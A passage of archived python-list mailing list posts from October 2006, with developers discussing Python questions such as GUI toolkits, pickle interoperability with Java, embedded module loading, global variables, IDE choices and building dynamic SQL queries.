Isn't it possible to use asynchronous communication to talk to the SQL
server as well?

I don't know a lot about Twisted, but I'd think you could create some
sort of connection with the SQL server and have TwistedMatrix manage
and react to the SQL server events the same as it does with your
clients.  Being that SQL is so common, I bet someone's already written
higher-level protocol handlers.


Carl Banks



From rpdooling at gmail.com  Fri Oct 20 08:53:53 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 20 Oct 2006 05:53:53 -0700
Subject: help with my first use of a class
In-Reply-To: <it_Zg.9803$Lv3.9297@newsread1.news.pas.earthlink.net>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<it_Zg.9803$Lv3.9297@newsread1.news.pas.earthlink.net>
Message-ID: <1161348833.418062.157480@i3g2000cwc.googlegroups.com>

Thank you all!

My main problem is going away from Python and programming for weeks or
months at a time, then picking up where I left off.  But Python is much
better in this regard than Perl.

I appreciate the help.

rd

-----------------

Dennis Lee Bieber wrote:

> If using a db-api compliant adapter, and using minimal common
> features, the main thing one would have to worry about is the different
> placeholders used by the adapter.
>
> 	I'd be more likely to do something like
>
> import <pick-a-db-adapter> as db
>
> and then have a class query the db connection for what type of
> placeholder it uses, then modify any queries the class uses.
>
> 	You might make a "class" for each database /table/, and each
> instance of that class would be one record in the table. The class would
> have the methods for retrieval/update/delete/insert, when given the key
> value, perhaps.
> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/



From david at boddie.org.uk  Fri Oct 27 17:26:05 2006
From: david at boddie.org.uk (David Boddie)
Date: Fri, 27 Oct 2006 23:26:05 +0200
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<eddc3$453eb1df$54d1d767$28881@news.chello.no>
	<mailman.1144.1161755212.11739.python-list@python.org>
	<453f16e5$0$28552$426a74cc@news.free.fr>
	<mailman.1153.1161763394.11739.python-list@python.org>
	<1161778963.505003.73840@m7g2000cwm.googlegroups.com>
	<eht5hk$3f9$1@wake.carmen.se>
Message-ID: <5729b$4542796e$54d1d767$6193@news.chello.no>

On Friday 27 October 2006 16:36, Magnus Lycka wrote:
> David Boddie wrote:
>> You're forgetting that Qt isn't just a widget toolkit.
> 
> I suspect that the non-GUI parts are (just like in Wx) C++ stuff
> which is more or less equivalent with things that are either Python
> builtins or parts of Python's standard library. Besides, getting
> those proprietary dependencies even further down into the code than
> the GUI is not a plus in my book.

It depends on who you are. If you're writing GPL applications, whether
you use framework-specific classes for SQL, XML or networking (for
example) is more a question of making appropriate design choices.
If you're writing proprietary closed source applications, you're
probably paying for the benefits those dependencies bring.

One of the advantage of using Qt from Python is that you get a choice
of dependencies.

> Last time I looked, Qt code wasn't even pure C++ but needed some
> preprocessing like embedded SQL. Yet another programming language
> in other words. I suppose I can ignore that from Python, but it
> still smells...

You're referring to the meta-object compiler, I suppose. This has
been discussed many times by people who don't have the luxury of
being able to write all their code in Python; for example:

http://doc.trolltech.com/4.2/templates.html
http://www.scottcollins.net/articles/a-deeper-look-at-signals-and-slots.html

It's a trade off that some people choose to make to take advantage
of those features. Of course, Python has a perfectly good type
system, so you never need to preprocess Python code when you use PyQt.

David


From dgoodger at gmail.com  Wed Oct  4 17:34:18 2006
From: dgoodger at gmail.com (David Goodger)
Date: 4 Oct 2006 14:34:18 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <ByVUg.135576$_J1.897437@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<eg0qu6$u7b$1@nnrp.ngi.it>
	<1159989157.734840.188430@m7g2000cwm.googlegroups.com>
	<ByVUg.135576$_J1.897437@twister2.libero.it>
Message-ID: <1159997658.491162.111440@k70g2000cwa.googlegroups.com>

Giovanni Bajo wrote:
> You're cherry picking your quotes:
>
> """
> In order for Roundup to be considered equivalent in terms of an overall
> tracker package there needs to be a sufficient number of volunteer admins
> (roughly 6 - 10 people) who can help set up and maintain the Roundup
> installation.
> """
>
> This is *NOT* a perfectly reasonable offer,

Yes it is:
Jira = 1st place functionality + hosting/admin provided
RoundUp = 1st place functionality

Jira wins. But the offer is to allow the community to make up the
difference. If anything, that's unfair to Jira. So why are you
complaining?

> because you do not see 6-10 people
> stepping up at the same time for almost *anything* in the open source world.

Then that's a failure of the open source world.

But I *do* see it happening right now. People *are* stepping up.

David Goodger



From bretthoerner at gmail.com  Mon Oct 23 21:54:51 2006
From: bretthoerner at gmail.com (Brett Hoerner)
Date: 23 Oct 2006 18:54:51 -0700
Subject: Negative integers and string formating
In-Reply-To: <pan.2006.10.24.01.44.04.331823@REMOVEME.cybersource.com.au>
References: <pan.2006.10.24.01.44.04.331823@REMOVEME.cybersource.com.au>
Message-ID: <1161654891.464122.121780@m7g2000cwm.googlegroups.com>

Steven D'Aprano wrote:
> Are there any string formatting codes that will place a space between the
> sign and the number?

Not that I know of, why not use the absolute value (after checking if
it is negative),

In [1]: abs(-1)
Out[1]: 1



From jgodoy at gmail.com  Sun Oct  1 19:45:58 2006
From: jgodoy at gmail.com (Jorge Godoy)
Date: Sun, 01 Oct 2006 20:45:58 -0300
Subject: windev vs python SOS
References: <nXzSg.195$nn3.31@nntpserver.swip.net> <4520104f$1@nntp0.pdx.net>
Message-ID: <87r6xrvbux.fsf@gmail.com>

Scott David Daniels <scott.daniels at acm.org> writes:

> While these statements do mean something to experienced programmers,
> they seem to contradict everything a power-point wielding IT executive
> who understands everything "from a 5000 foot point of view" knows to
> be true.  I really wish I knew how to explain these things politically.

If you find it out don't forget sharing with us. :-)

-- 
Jorge Godoy      <jgodoy at gmail.com>


From martin at v.loewis.de  Thu Oct 26 01:18:42 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 26 Oct 2006 07:18:42 +0200
Subject: Embedded python loading .so files?
In-Reply-To: <1161836879.975380.196610@m73g2000cwd.googlegroups.com>
References: <1161836879.975380.196610@m73g2000cwd.googlegroups.com>
Message-ID: <45404532.8000805@v.loewis.de>

jefishman at gmail.com schrieb:
> However, I would like to be able to import this package dynamically
> within the application running on the host machine.  When I attempted
> to import the package within the already loaded python modules, I would
> get errors that the C portions of the package could not be found (the
> pure-python modules would load, call to import module_foo, which is
> module_foo.so, but would error "Cannot find module_foo").
> 
> How can I get the application to load the package?

You really need to do some debugging here. There must be more error
message than that, or there are some issues with libdl on the target
system. A common problem is that it gives an error message that
some symbols could not be found when loading the shared library,
and that these symbols originate from Python run-time. In this
case, the reason is that the executable does not export the Python
symbols; you need to pass -export-dynamic to the linker of the
container application.

This is all guessing, of course: you didn't even say whether
the target system is Unixish-ELF-based.

Regards,
Martin


From hg at nospam.com  Tue Oct 17 09:06:19 2006
From: hg at nospam.com (hg)
Date: Tue, 17 Oct 2006 08:06:19 -0500
Subject: Newbie: datetime conversion question
In-Reply-To: <mailman.633.1161090826.11739.python-list@python.org>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>	<yt4Zg.28313$Go3.7157@dukeread05>
	<mailman.633.1161090826.11739.python-list@python.org>
Message-ID: <nJ4Zg.28314$Go3.15068@dukeread05>

Carsten Haese wrote:
> On Tue, 2006-10-17 at 08:49, hg wrote:
>> import time
>> "%08X"% (int)(time.mktime(time.localtime()))
> 
> Have you not had your coffee yet or are you trying to win an obfuscated
> python programming competition? ;)
> 
> -Carsten
> 
> 
Just one cup

hg


From gerrit at nl.linux.org  Wed Oct 11 06:42:59 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 11 Oct 2006 12:42:59 +0200
Subject: Motions.
In-Reply-To: <1160518262_13745@sp6iad.superfeed.net>
References: <1160518262_13745@sp6iad.superfeed.net>
Message-ID: <20061011104258.GA4814@topjaklont.student.utwente.nl>

On 2006-10-11 00:26:38 +0200, Dr. Pastor wrote:
> I would like to track the motions of
> small birds in short (20-30sec) .avi films.
> What tool-set/programs would be wise to use?
> Thanks for any guidance.

I'd use PIL with numpy and subtract a birdless background picture
from each picture. Make that binary (choose a suitable treshhold,
100 or so) and you'll get a matrix for each frame with value 1 for the
position of the bird. Been there, done that, though my problem was
slightly easier: I had a few dozen of equal balls flying around and all
I needed was the average total position, not tracking each individually.
How to do that if birds pass each other (projecting 3D on 2D) I don't
know, but I'm sure it's been done before (not necessarily in Python
though).

Gerrit.


From gherron at islandtraining.com  Mon Oct 30 12:21:30 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Mon, 30 Oct 2006 09:21:30 -0800
Subject: create global variables?
In-Reply-To: <4546317A.8040500@helsinki.fi>
References: <4546317A.8040500@helsinki.fi>
Message-ID: <4546349A.7070701@islandtraining.com>

Alistair King wrote:
> Hi,
>
> is there a simple way of creating global variables within a function?
>
>   
Use the "global" statement within a function to bind a variable to a
global. 

See http://docs.python.org/ref/global.html for details.


>>> def x():
...          global g
...          g = 123
...
>>> x()
>>> g
123
>>>

Gary Herron




> ive tried simply adding the variables in:
>
> def function(atom, Xaa, Xab):
>     Xaa = onefunction(atom)
>     Xab = anotherfunction(atom)
>
> if i can give something like:
>
> function('C')    #where atom = 'C' but not necessarly include Xaa or Xab
>
> i would like to recieve:
>
> Caa = a float
> Cab = another float
>
> ive tried predefining Xaa and Xab before the function but they are
> global values and wont change within my function. Is there a simple way
> round this, even if i call the function with the variables ('C', Caa, Cab)?
> ..............................................................................................................................
>
> some actual code:
>
> # sample dictionaries
> DS1v = {'C': 6}
> pt = {'C': 12.0107}
>
> def monoVarcalc(atom):
>     a = atom + 'aa'
>     Xaa = a.strip('\'')
>     m = atom + 'ma'
>     Xma = m.strip('\'')
>     Xaa = DS1v.get(atom)
>     Xma = pt.get(atom)
>     print Xma
>     print Xaa
>
> monoVarcalc('C')
>
> print Caa
> print Cma
> ..............................................................................................................................
> it seems to work but again i can only print the values of Xma and Xaa
>
> ?
>
> Alistair
>
>   



From gagsl-py at yahoo.com.ar  Wed Oct 25 21:34:11 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 22:34:11 -0300
Subject: Fatal Python error: deallocating None
In-Reply-To: <1161822535.445257.143360@i3g2000cwc.googlegroups.com>
References: <1161822535.445257.143360@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061025222550.05f38068@yahoo.com.ar>

At Wednesday 25/10/2006 21:28, George Sakkis wrote:

>It's the first time in the three years I've been using python that a
>program crashes without a nice traceback to give me a clue of what
>might be wrong. After searching a little, it seems it's one of those
>hard to get down to cases, so I've no idea where to look for. Briefly
>what I do is, select some rows from one table, do some number crunching
>and insert or update rows in another table. The C extensions I'm using
>are numarray and MySQLdb (indirectly, through Sqlalchemy).
>
>What makes the problem worse is that it's not deterministic; I can
>restart it from (a little before) the point of crash and it doesn't
>happen again at the same point, but it might happen further down. Now,
>I wouldn't mind restarting it manually every time since the crashes are
>not all that frequent; problem is, it's supposed to be a long-running
>process that will probably take days to finish normally, so I want it
>to run overnight too. Any hints ?

Mmm, it appears that one of these C extensions isn't managing the ref 
count correctly - perhaps there is a return Py_None without a 
previous Py_INCREF? If None were returned in certain functions to 
indicate failure or something exceptional - and not a regular 
condition - that would explain that it doesn't fail very often.
Unfortunately I don't know how to debug this - except by carefully 
inspecting the C code :(


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From paul at boddie.org.uk  Thu Oct 26 05:22:55 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 26 Oct 2006 02:22:55 -0700
Subject: Make alternative like NAnt, rake, ... written in python?
References: <4540763a$0$5711$9b4e6d93@newsspool3.arcor-online.net>
Message-ID: <1161854575.475040.322300@m73g2000cwd.googlegroups.com>

Achim Domma wrote:
>
> I'm looking for a tool to automate build tasks like copying files,
> zipping them up, change config files .... NAnt works fine, because it's
> quite easy to extend in C#, but it would even easier to write tasks in
> Python.
>
> SCons is the only Python tool of this kind which I know. But SCons is
> much to complicated and not easy to extend. Rake looks very nice, but is
> written in Ruby. Is there something similar in Python?

The Waf build system might be something to consider:

http://freehackers.org/~tnagy/bksys.html

The claim is that it's better architected and faster than SCons,
although I haven't investigated this myself.

Paul



From bernard.chhun at gmail.com  Mon Oct 30 08:10:52 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 30 Oct 2006 05:10:52 -0800
Subject: ANN: SPE 0.8.3.c Python IDE editor
In-Reply-To: <1162206008.469787.270830@m73g2000cwd.googlegroups.com>
References: <1162206008.469787.270830@m73g2000cwd.googlegroups.com>
Message-ID: <1162213852.270705.275740@b28g2000cwb.googlegroups.com>

thanks Stani!

SPE - Stani's Python Editor wrote:
> This is a maintenance release (mostly bug fixing) to prove that SPE is
> alive and well! In case you are using wxPython2.7 you'll need to
> upgrade to this release. Submitted patches will be reviewed and
> included if approved for next release. Thanks for all your patient
> support and continuing donations.
>
> The SPE 0.8.2.a release got downloaded 110550 times on berlios and
> sourceforge together. Not bad. This means SPE has not seen an update
> for a while or is getting very popular. Maybe both ;-)
>
> Installers are available for python 2.3, 2.4 and 2.5 for Windows and as
> a rpm including wxPython. Other operating systems can choose the
> no-setup.zip or targ.gz archives. A .deb archive is being prepared for
> Debian Linux systems such as Ubuntu.
>
> wxGlade is unfortunately not compatible with wxPython2.7. So if you
> want to use, you'll need wxPython2.6.
>
> :**Fixes**:
>
> - output is now done with a fixed font
> - uml.py is now again a stand alone demo
> - upgraded and fixed wxGlade
> - fixed for wxPython2.7 (and still backwards compatible with
> wxPython2.6)
> - updated NotebookCtrl
>
> :**Contributors**:
>
> - Andrea Gavana (NoteBookCtrl)
> - Alberto Griggio (wxGlade)
> - Michael Foord (python 2.3 + 2.5 releases for windows)
>
> :**Donations**:
>
> The development of SPE is driven by donations. Each of these donors
> receives the pdf manual in thanks for their support of SPE.
>
> - James Carroll (60 euro)
> - John DeRosa (50 euro)
> - Fumph LLC (50 euro)
> - Ronald Britton (40 euro)
> - David Downes (40 euro)
> - Jorge Carrillo (40 euro)
> - Nicolas Berney (40 euro)
> - Francois Schnell (30 euro)
> - Olivier Cortes (30 euro)
> - Ayrshire Business Consulting Limited (30 euro)
> - Chris White (25 euro)
> - Thomas Wengerek (20 euro)
> - John Rudolph (20 euro)
> - Michael O'Keefe (20 euro)
> - Michael Brickenstein (20 euro)
> - Richard Walkington (20 euro)
> - Oliver Tomic (20 euro)
> - Jose Maria Cortes Arnal (20 euro)
> - Jeffrey Emminger (20 euro)
> - Eric Pederson (20 $)
> - Charles Bosson (15 euro)
> - Angelo Caruso (15 euro)
> - Chris Hengge (15 $)
> - Lo&#239;c Allys (15 euro)
> - Marcin Chojnowski (15 euro)
> - Boris Krasnoiarov (15 euro)
> - Paul Furber (15 euro)
> - Gary Robson (15 euro)
> - Ralf Wieseler (15 euro)
> - Samuel Schulenburg (10 euro)
> - Leland Hulbert II (10 euro)
> - Javier De La Mata Viader (10 euro)
> - Dorman Musical Instruments (10 euro)
> - Jaroslaw Sliwinski (10 euro)
> - Alessandro Patelli (10 euro)
> - James Pretorius (10 euro)
> - Richard Wayne Garganta (10 euro)
> - Maurizio Bracchitta (10 euro)
> - Larry Lynch (10 euro)
> - Kay Fricke (10 euro)
> - Henrik Binggl (10 euro)
> - Jerol Harrington (10 euro)
> - Victor Adan (10 euro)
> - James Fuqua (10 euro)
> - Christian Seberino (5 euro)
> - Serge Smeesters (5 euro)
> - Jarek Libert (5 euro)
> - Robin Friedrich (5 euro)
> - Udo Rabe (5 euro)
> - Roch Leduc (4 euro)
> - Rha Diseno y Desarrollo (2 euro)
>
> :**Installation**:
>
> - See http://pythonide.stani.be/manual/html/manual2.html
>
> :**Development**:
>
> - http://developer.berlios.de/mail/?group_id=4161
>
> About SPE:
> SPE is a python IDE with auto-indentation, auto completion, call tips,
> syntax coloring, uml viewer, syntax highlighting, class explorer,
> source index, auto todo list, sticky notes, integrated pycrust shell,
> python file browser, recent file browser, drag&drop, context help, ...
> Special is its blender support with a blender 3d object browser and its
> ability to run interactively inside blender. Spe integrates with XRCed
> (gui
> designer) and ships with wxGlade (gui designer), PyChecker (source
> code doctor), Kiki (regular expression console) and WinPdb (remote,
> multi-threaded debugger).
>
> The development of SPE is driven by its donations. Anyone who donates
> can ask for an nice pdf version of the manual without ads (74 pages).



From paddy3118 at netscape.net  Fri Oct  6 01:25:58 2006
From: paddy3118 at netscape.net (Paddy)
Date: 5 Oct 2006 22:25:58 -0700
Subject: help on pickle tool
In-Reply-To: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
Message-ID: <1160112357.891308.200020@i42g2000cwa.googlegroups.com>

virg wrote:
> Hi,
>      i have client-server application which is written in python using
> XMLRPC protocol. The existing client is a command line. Now client
> application we are converting it as Web UI using java. I have seen some
> problems in writing a java client. At the server for each request from
> client, the server sends a response in hashtable and is serialized
> using "pickle". The python function we call at the server is
>
> pickle.dumps(r, 2)  -- where r is a hash table which needs to be
> serialized
>
> At the client (existing client  which in python) we use this call to
> get the original data.
>
> r = pickle.loads(result)
>
> Since i am writing this client as Web UI client using java, i am not
> able to deserialize this data
> using java function "ObjectInputStream" and "ObjectInputStream" which
> are most common functions for deserialization and i getting error as
> invalid header.
>
> Is it possible to deserialize the data by java  which serialized by
> Python or is there any compatibility issue. Is there any equivalent
> pickle tool on java which supports this operation. so that i can use
> across languages.
>
> Because of this problem i am not able to proceed further. Any body has
> any pointers for this problem. Any help is highly appreciated
>
> Thanks in advance
>
> regards
> Virg
You might try picking the data with a different pickle formatter that
your Java can use. Maybe an XML pickler
(http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE
untested by me).
You might also use a JSON/YAML pickler. JSON is now a subset of YAML:
  http://cheeseshop.python.org/pypi/python-json/3.4
  http://pyyaml.org/wiki/PyYAML
  http://jyaml.sourceforge.net/
  http://www.yaml.org/
  http://www.json.org/
  http://www.json.org/java/

- Paddy.



From spedrosa at gmail.com  Thu Oct 26 14:56:11 2006
From: spedrosa at gmail.com (Stephen Eilert)
Date: 26 Oct 2006 11:56:11 -0700
Subject: What's the best IDE?
In-Reply-To: <1161833575.641844.48740@f16g2000cwb.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161824491.759664.271570@f16g2000cwb.googlegroups.com>
	<1161833575.641844.48740@f16g2000cwb.googlegroups.com>
Message-ID: <1161888971.369883.298980@b28g2000cwb.googlegroups.com>


BartlebyScrivener wrote:
> >> Vim
> >> you'll be frustrated for about a week,
>
> You'll be frustrated for at least two weeks. But you'll use it forever
> for everything from writing to programming, so who cares?
>
> Auto completion is called omni completion in VIM
>
> type ':h new-omni-completion' at the command line after two weeks of
> frustration.
>
> rd

As others said, you'll learn new stuff every day. I never knew about
this omni-completion thing until today, and I'm using VIM almost every
day.

Go figure.

Once you generate a tags file, navigation becomes easy. I never managed
to invoke Python inside VIM as a "compiler" tho. The fact that you can
create scripts for VIM in Python is also a plus.


Stephen



From ldo at geek-central.gen.new_zealand  Mon Oct  9 04:17:41 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 21:17:41 +1300
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
	<Xns98547173763B6duncanbooth@127.0.0.1>
	<egci8i$43p$1@lust.ihug.co.nz>
	<Xns985755C711158duncanbooth@127.0.0.1>
Message-ID: <egd0hd$u3r$1@lust.ihug.co.nz>

In message <Xns985755C711158duncanbooth at 127.0.0.1>, Duncan Booth wrote:

> Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:
> 
>> I use the above when I can, when I can't I fall back on
>><http://groups.google.co.nz/groups?selm=efc5b3$can$1 at lust.ihug.co.nz>,
>><http://groups.google.co.nz/groups?selm=efhn5v$fia$2 at lust.ihug.co.nz>.
> 
> Yes, so you said, but you never came up with a convincing use case where
> that function was better than using the parameterised queries.

First of all, the parametrization doesn't handle wildcards, as we discussed
previously.

Secondly, it's less convenient for cases where a dynamic query is being
built. I previously gave the SQLStringList example. If that's not enough,
here's another (simple) one:

Conditions = []
if Name != None :
    Conditions.append("name = %s" % SQLString(Name))
#end if
if Address != None :
    Conditions.append("address = %s" % SQLString(Address))
#end if
if PhoneNr != None :
    Conditions.append("phone_nr = %s" % SQLString(PhoneNr))
#end if
Query = "select * from table"
if len(Conditions) != 0 :
    Query += " where " + " and ".join(Conditions)
#end if


From andrew-news at andros.org.uk  Sat Oct 21 18:36:59 2006
From: andrew-news at andros.org.uk (Andrew McLean)
Date: Sat, 21 Oct 2006 23:36:59 +0100
Subject: ZODB and Python 2.5
In-Reply-To: <mailman.862.1161371318.11739.python-list@python.org>
References: <ehb3ub$a5m$1$8300dec7@news.demon.co.uk>
	<mailman.862.1161371318.11739.python-list@python.org>
Message-ID: <ehe7ef$2n2$1$8302bc10@news.demon.co.uk>

Robert Kern wrote:
> I would suggest, in order:
> 
> 1) Look on the relevant mailing list for people talking about using ZODB 
> with Python 2.5.

Been there, didn't find anything. Except that recently released versions 
of Zope (2.9.5 and 2.10.0) aren't compatible with Python 2.5. [Being 
pedantic 2.9.5 "doesn't work" under Python 2.5, 2.10.0 is merely 
"unsupported".]

> 2) Just try it. Install Python 2.5 alongside 2.4, install ZODB, run the 
> test suite.

Now if ZODB had been pure Python, or I was using a Unix(ish) platform I 
would have tried that. Getting set up to compile C extensions under 
Windows is a bit too much hassle. I can wait ;-).


From onurb at xiludom.gro  Fri Oct 13 11:44:35 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 13 Oct 2006 17:44:35 +0200
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <452fb464$0$279$426a34cc@news.free.fr>

Ahmer wrote:

=> Re: Best IDE?

Strange enough, this is kind of a *very* frequently asked question...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From oscartheduck at gmail.com  Sun Oct  1 21:26:39 2006
From: oscartheduck at gmail.com (James)
Date: Sun, 1 Oct 2006 19:26:39 -0600
Subject: changing a file's permissions
Message-ID: <d59e90ab0610011826r508d0a5ag703efbe472eac249@mail.gmail.com>

I'm writing a script in linux to excercise my python skills and have
encountered a minor issue.

Writing the script and creating an ouput file was simple enough and didn't
take too long. However, I don't have permissions to execute the file by
default. Now, I could simply chmod 755 the sucker and have done with it, but
I want to apply the permissions within the python script if I can.

So my question is: how does one change a file's permissions inside of
python?

James
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From rpmuller at gmail.com  Thu Oct 12 14:45:42 2006
From: rpmuller at gmail.com (RickMuller)
Date: 12 Oct 2006 11:45:42 -0700
Subject: paseline(my favorite simple script): does something similar exist?
Message-ID: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>

One of my all-time favorite scripts is parseline, which is printed
below

def parseline(line,format):
    xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
    result = []
    words = line.split()
    for i in range(len(format)):
        f = format[i]
        trans = xlat.get(f,'None')
        if trans: result.append(trans(words[i]))
    if len(result) == 0: return None
    if len(result) == 1: return result[0]
    return result

This takes a line of text, splits it, and then applies simple
formatting characters to return different python types. For example,
given the line

H    0.000   0.000   0.000

I can call parseline(line,'sfff') and it will return the string 'H',
and three floats. If I wanted to omit the first, I could just call
parseline(line,'xfff'). If I only wanted the first 0.000, I could call
parseline(line,'xf'). Clearly I don't do all of my parsing this way,
but I find parseline useful in a surprising number of applications.

I'm posting this here because (1) I'm feeling smug at what a bright
little coder I am, and (2) (in a more realistic and humble frame of
mind) I realize that many many people have probably found solutions to
similar needs, and I'd imaging that many are better than the above. I
would love to hear how other people do similar things.

Rick



From vedran_dekovic at yahoo.com  Tue Oct 17 12:50:57 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 17 Oct 2006 09:50:57 -0700
Subject: where to I find:
Message-ID: <1161103857.244052.79060@i3g2000cwc.googlegroups.com>

Hello,
Can somebody tell me where to I find module name: "tele"

import tele

Regards,
Vedran



From carsten at uniqsys.com  Fri Oct 20 11:32:08 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Fri, 20 Oct 2006 11:32:08 -0400
Subject: proper format for this database table
In-Reply-To: <4t5_g.121$1n3.3067@news.tufts.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
	<4t5_g.121$1n3.3067@news.tufts.edu>
Message-ID: <1161358328.23516.17.camel@dot.uniqsys.com>

On Fri, 2006-10-20 at 10:57, John Salerno wrote:
> mensanator at aol.com wrote:
> 
> > you should rethink it as
> > 
> > [id] [university] [yearStart] [yearEnd] [degreeEarned]
> > 1     U of I       1971        1975      BS
> > 1     U of I       1975        1976      MS
> > 1     U of I       1976        1977      PhD
> > 
> 
> Thanks guys. I do plan to have an id entry for each person as well, I 
> just forgot to mention that. But since it's a primary key, I didn't know 
> I could list it more than once. Or does primary key not necessarily mean 
> unique?

Primary key *does* mean unique in the table that defines it. However, if
you take a primary key ID from one table and store it in a different
table, that's a foreign key. There are no inherent uniqueness
constraints on a foreign key.

-Carsten




From hanumizzle at gmail.com  Sun Oct  8 04:56:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 04:56:25 -0400
Subject: need some regular expression help
In-Reply-To: <1160297390.242124.260770@i3g2000cwc.googlegroups.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
	<1160297390.242124.260770@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610080156t5cd89e16h2d1a39396760d1e5@mail.gmail.com>

On 8 Oct 2006 01:49:50 -0700, Diez B. Roggisch <deets at web.de> wrote:

> Even if it has - I'm not sure if it really does you good, for several
> reasons:
>
>  - regexes - even enhanced ones - don't build trees. But that is what
> you ultimately want
>    from an expression like sin(log(x))
>
>  - even if they are more powerful these days, the theory of context
> free grammars still applies.
>    so if what you need isn't LL(k) but LR(k), how do you specify that
> to the regex engine?
>
>  - the regexes are useful because of their compact notations, parsers
> allow for better structured outcome

Just wait for Perl 6 :D

-- Theerasak


From deets at nospam.web.de  Sat Oct 28 10:48:37 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 28 Oct 2006 16:48:37 +0200
Subject: Safely renaming a file without overwriting
In-Reply-To: <72sb14-08j.ln1@darkstargames.dnsalias.net>
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
Message-ID: <4qh8u1Fn1s4aU1@uni-berlin.de>

Wolfgang Draxinger schrieb:
> Steven D'Aprano wrote:
> 
>> I want to rename a file, but only if the destination file name
>> doesn't already exist.
>>
>> I can do this:
>>
>> if os.path.exists(dest):
>>     # skip file, raise an exception, make a backup...
>>     do_something_else()
>> else:
>>     os.rename(src, dest)
>>
>>
>> But on a multi-user system, it is possible that dest is created
>> in the time period between checking if it exists and attempting
>> the rename.
>>
>> Is there any way to prevent this? Or do I just try to keep the
>> check and the rename as close together as possible, minimizing
>> the chances and hoping for the best?
> 
> 1: Open the file with os.open
> 
> 2: Lock the file exclusively -> no other process can now access
> it.
> 
> 3: Use rename to rename the file; this causes a file system level
> implicit unlink of the old file (it dissappears from the file
> system) but the opening process can still access it.
> 
> 4: close the file -> the lock is removed and the rename
> finalized.

Where does that help for new files? The OP was right in assuming that a 
race condition could occur when he tests for a file & then tries to 
create it, as in the meantime it could have been created.

Diez


From ptmcg at austin.rr._bogus_.com  Wed Oct  4 15:17:05 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 19:17:05 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<uCSUg.25441$DU3.1079@tornado.texas.rr.com>
	<Xns9852CB4F1A5A5duncanbooth@127.0.0.1>
Message-ID: <RMTUg.4254$5o5.716@tornado.texas.rr.com>

"Duncan Booth" <duncan.booth at invalid.invalid> wrote in message 
news:Xns9852CB4F1A5A5duncanbooth at 127.0.0.1...
> "Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote:
>
>> By contrast, a set (and also the keys in a dict) use a tree structure
>> to index more quickly into the list of items
>
> 'dict' and I believe also 'set' use a hash table, not a tree structure.

Thanks, I stand corrected.  How do they know how big a hash table to use?  I 
think this is an interesting problem.

-- Paul




From dgoodger at gmail.com  Wed Oct  4 17:29:08 2006
From: dgoodger at gmail.com (David Goodger)
Date: 4 Oct 2006 14:29:08 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <TnVUg.135451$zy5.1833460@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<mailman.1146.1159866456.10491.python-list@python.org>
